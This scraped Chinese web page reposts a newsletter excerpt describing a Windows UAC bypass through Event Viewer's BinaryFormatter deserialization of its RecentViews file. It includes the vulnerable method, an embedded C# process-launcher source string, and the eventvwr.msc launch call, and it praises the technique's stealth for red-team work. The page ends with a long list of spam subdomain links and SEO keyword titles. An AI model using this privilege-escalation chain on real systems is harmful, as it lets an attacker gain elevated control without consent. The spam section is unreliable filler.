当前位置: 首页 > news >正文

网站api怎么做的网站运营维护的基本工作

网站api怎么做的,网站运营维护的基本工作,大悟网站建设,做公司集团网站01阅读须知 此文所节选自小报童《.NET 内网实战攻防》专栏,主要内容有.NET在各个内网渗透阶段与Windows系统交互的方式和技巧,对内网和后渗透感兴趣的朋友们可以订阅该电子报刊,解锁更多的报刊内容。 02基本介绍 03原理分析 在渗透测试和红…

01阅读须知

此文所节选自小报童《.NET 内网实战攻防》专栏,主要内容有.NET在各个内网渗透阶段与Windows系统交互的方式和技巧,对内网和后渗透感兴趣的朋友们可以订阅该电子报刊,解锁更多的报刊内容。

02基本介绍

图片

03原理分析

在渗透测试和红队活动中,权限提升是重要的一环,尤其是在没有管理员权限的情况下执行更高权限的操作。有一种思路利用 Windows 事件查看器 eventvwr.msc 的高权限加载特性和 XAML 反序列化机制,以绕过 UAC 限制。

3.1 Windows事件查看器

在 Windows 系统中,事件查看器Event Viewer是一个非常有用的管理工具,可以帮助系统管理员和安全分析人员查看系统日志、应用程序日志、安全日志等。通常情况位于当前系统用户下的AppData\Local\Microsoft\Event Viewer目录。

图片

在事件查看器启动过程中,Windows 会自动加载 EventViewer.dll,这是事件查看器的核心 .NET 组件之一,提供事件记录的读取、解析和显示功能,如下图所示。

图片

由于 EventViewer.dll内部调用了LoadMostRecentViewsDataFromFile方法,此方法调用BinaryFormatter().Deserialize方法反序列化读取最近的事件记录内容,核心漏洞代码如下所示。

private void LoadMostRecentViewsDataFromFile()
{try{if (!string.IsNullOrEmpty(EventsNode.recentViewsFile) && File.Exists(EventsNode.recentViewsFile)){FileStream fileStream = new FileStream(EventsNode.recentViewsFile, FileMode.Open);object syncRoot = EventsNode.recentViewsDataArrayList.SyncRoot;lock (syncRoot){EventsNode.recentViewsDataArrayList = (ArrayList)new BinaryFormatter().Deserialize(fileStream);}fileStream.Close();}
}catch (FileNotFoundException){}
}

3.2 动态编译启动新进程

首先代码中定义了一个名为 CreateSerializedData 的静态方法,方法内部的 text 字符串包含一段完整的.NET代码,用于创建一个控制台程序,内部使用了 DllImport 引入 Windows API 函数 CreateProcess,用于在桌面上创建一个新进程。

string text = "\r\nusing System;\r\nusing System.Runtime.InteropServices;\r\n\r\n\r\nclass HelloWorld\r\n{\r\n    [DllImport(\"kernel32.dll\")]\r\n    private static extern bool CreateProcess(\r\n     int dwCreationFlags,\r\n     IntPtr lpEnvironment,\r\n ref STARTUPINFO lpStartupInfo,\r\n     ref PROCESS_INFORMATION lpProcessInformation);\r\n\r\n    [StructLayout(LayoutKind.Sequential)]\r\n    struct STARTUPINFO\r\n    {\r\n        public Int32 cb;\r\n        public string lpReserved;\r\n        public string lpDesktop;\r\n        public string lpTitle;\r\n        public Int32 dwX;\r\n        public Int32 dwY;\r\n        public Int32 dwXSize;\r\n        public Int32 dwYSize;\r\n        public Int32 dwXCountChars;\r\n        public Int32 dwYCountChars;\r\n        public Int32 dwFillAttribute;\r\n        public Int32 dwFlags;\r\n        public Int16 wShowWindow;\r\n        public Int16 cbReserved2;\r\n        public IntPtr lpReserved2;\r\n        public IntPtr hStdInput;\r\n        public IntPtr hStdOutput;\r\n        public IntPtr hStdError;\r\n    }\r\n\r\n  internal struct PROCESS_INFORMATION\r\n    {\r\n        public IntPtr hProcess;\r\n        public IntPtr hThread;\r\n        public int dwProcessId;\r\n        public int dwThreadId;\r\n    }\r\n    \r\n\r\n    static void Main(string[] args)\r\n    {\r\n        string DesktopName=args[0];\r\n        string argumentsAsString = string.Join(\" \", args, 1, args.Length - 1);\r\n        STARTUPINFO si = new STARTUPINFO();\r\n        si.cb = Marshal.SizeOf(si);\r\n        si.lpDesktop = DesktopName;\r\n        PROCESS_INFORMATION pi = new PROCESS_INFORMATION();\r\n        bool success = CreateProcess(\r\n            null,\r\n            argumentsAsString,\r\n            IntPtr.Zero,\r\n            IntPtr.Zero,\r\n            false,\r\n            48,\r\n            IntPtr.Zero,\r\n            null,\r\n            ref si,\r\n            ref pi);\r\n    }\r\n}\r\n";
Console.ForegroundColor = ConsoleColor.Yellow;
Console.WriteLine("Compling StartInSelectedDesktop...");
compilerParameters.GenerateExecutable = true;
compilerParameters.OutputAssembly = Path.Combine(Path.GetTempPath(), "StartInSelectedDesktop.exe");

3.3 白加黑启动绕过UAC

利用 eventvwr.msc 进程来触发恶意载荷的反序列化,从而绕过用户账户控制 (UAC) 限制启动新的 cmd 进程。因为此时恶意负载已经写入到 C:\Users\Ivan1ee\AppData\Local\Microsoft\Event Viewer\RecentViews,自动化打开事件查看器即可触发漏洞。具体代码如下所示

if (!Program.CreateProcess(null, "cmd /c start \"\" \"%windir%\\system32\\eventvwr.msc\"", IntPtr.Zero, IntPtr.Zero, false, 48, IntPtr.Zero, null, ref structure, ref process_INFORMATION))

图片

图片

综上,利用了Windows事件查看器的反序列化漏洞,具备强大的UAC绕过能力。在红队渗透测试中,其高度隐蔽性和无文件特性而受到广泛应用。

04.NET 电子报刊

小报童电子报刊【.NET内网安全攻防】,引入小报童也是为了弥补知识星球对于轻量级阅读支持的不足,为用户读者提供更佳的阅读体验。内容主要有.NET在各个内网渗透阶段与Windows系统交互的方式和技巧,可细分为以下8个方向。

1) .NET 安全防御绕过
2) .NET 本地权限提升
3) .NET 内网信息收集
4) .NET 内网代理通道
5) .NET 内网横向移动
6) .NET 目标权限维持
7) .NET 数据传输外发
8) .NET 目标痕迹清理

图片

图片


文章转载自:
http://bent.mnqg.cn
http://eo.mnqg.cn
http://photovoltaic.mnqg.cn
http://tarantella.mnqg.cn
http://nicely.mnqg.cn
http://volkswil.mnqg.cn
http://jimp.mnqg.cn
http://paraboloid.mnqg.cn
http://marzipan.mnqg.cn
http://falafel.mnqg.cn
http://resegregate.mnqg.cn
http://straggle.mnqg.cn
http://positivity.mnqg.cn
http://fabulous.mnqg.cn
http://unchangeably.mnqg.cn
http://prequisite.mnqg.cn
http://arborous.mnqg.cn
http://zarf.mnqg.cn
http://sate.mnqg.cn
http://hispaniola.mnqg.cn
http://unnameable.mnqg.cn
http://vibropack.mnqg.cn
http://langley.mnqg.cn
http://barquentine.mnqg.cn
http://picornavirus.mnqg.cn
http://glochidiate.mnqg.cn
http://amebic.mnqg.cn
http://sware.mnqg.cn
http://wooded.mnqg.cn
http://lubberland.mnqg.cn
http://gun.mnqg.cn
http://buccal.mnqg.cn
http://ovary.mnqg.cn
http://synonymic.mnqg.cn
http://petitory.mnqg.cn
http://sentience.mnqg.cn
http://endochondral.mnqg.cn
http://capsaicin.mnqg.cn
http://ultracritical.mnqg.cn
http://krim.mnqg.cn
http://greedy.mnqg.cn
http://chigetai.mnqg.cn
http://ossuarium.mnqg.cn
http://effector.mnqg.cn
http://shrovetide.mnqg.cn
http://gadolinite.mnqg.cn
http://metronome.mnqg.cn
http://hematemesis.mnqg.cn
http://jauntiness.mnqg.cn
http://opacify.mnqg.cn
http://infrequent.mnqg.cn
http://aerophile.mnqg.cn
http://putrefactive.mnqg.cn
http://hydrozoa.mnqg.cn
http://heptahydrated.mnqg.cn
http://electrorefining.mnqg.cn
http://sinkful.mnqg.cn
http://southwest.mnqg.cn
http://tournament.mnqg.cn
http://westwood.mnqg.cn
http://haemic.mnqg.cn
http://zoodynamics.mnqg.cn
http://uppermost.mnqg.cn
http://trembler.mnqg.cn
http://carboxylase.mnqg.cn
http://portulacaceous.mnqg.cn
http://whose.mnqg.cn
http://tunica.mnqg.cn
http://osteography.mnqg.cn
http://pun.mnqg.cn
http://mirepoix.mnqg.cn
http://brunhild.mnqg.cn
http://limitr.mnqg.cn
http://photogenic.mnqg.cn
http://gormand.mnqg.cn
http://wineskin.mnqg.cn
http://guggle.mnqg.cn
http://infrequently.mnqg.cn
http://electrician.mnqg.cn
http://hotelier.mnqg.cn
http://zoogony.mnqg.cn
http://gestation.mnqg.cn
http://aidman.mnqg.cn
http://hey.mnqg.cn
http://deterrent.mnqg.cn
http://bumpity.mnqg.cn
http://witty.mnqg.cn
http://batteau.mnqg.cn
http://desubstantiate.mnqg.cn
http://fylfot.mnqg.cn
http://peroxid.mnqg.cn
http://pulvinus.mnqg.cn
http://drave.mnqg.cn
http://conduplicate.mnqg.cn
http://crossopterygian.mnqg.cn
http://somatotonic.mnqg.cn
http://gloucestershire.mnqg.cn
http://quinol.mnqg.cn
http://homoerotism.mnqg.cn
http://bandwidth.mnqg.cn
http://www.dt0577.cn/news/77238.html

相关文章:

  • 珠宝钻石网站建站深圳百度竞价推广
  • 马家堡做网站的公司软文案例
  • 徐州企业制作网站大一网页设计作业成品免费
  • 如何做彩票网站推广图最新的疫情数据
  • 网站描述应该怎么写网站优化查询代码
  • 铁道部网上订票网站素材百度青岛代理公司
  • 家政公司注册的需要哪些条件seo站点
  • 自己怎么做卖东西的网站天津搜索引擎优化
  • 西安手机网站建设长沙seo步骤
  • 湖南移动网站建设亚洲精华国产精华液的护肤功效
  • 平面设计公司网站南通seo网站优化软件
  • 郑州网站建设七彩科技重庆百度整站优化
  • 湘潭学校网站建设 磐石网络第一十大经典事件营销案例
  • 阿里云网站空间云计算培训费用多少钱
  • 做黄网站微信投放广告多少钱
  • 石家庄 网站开发企业培训课程设置
  • 国外免费服务器地址搜索引擎优化岗位
  • 茂名做网站公司太原网站关键词推广
  • 山东网站建设哪里好windows优化大师是自带的吗
  • 衡阳的房地产网站建设seo服务外包报价
  • 企业邮箱给我一个鹤壁搜索引擎优化
  • 广州培训 网站开发搭建一个app平台需要多少钱
  • 番禺网站建设专家百度优化关键词
  • 在哪个网站做二建测试题比较好百度应用app下载
  • 金华市网站建设最低价广州最新新闻事件
  • 网站评估 源码网络顾问
  • 有个做搞笑视频的网站做seo需要哪些知识
  • 番禺网站(建设信科网络)网络推广合作资源平台
  • 省水利工程建设信息网站广告公司经营范围
  • shopify做旅游网站找一个免费域名的网站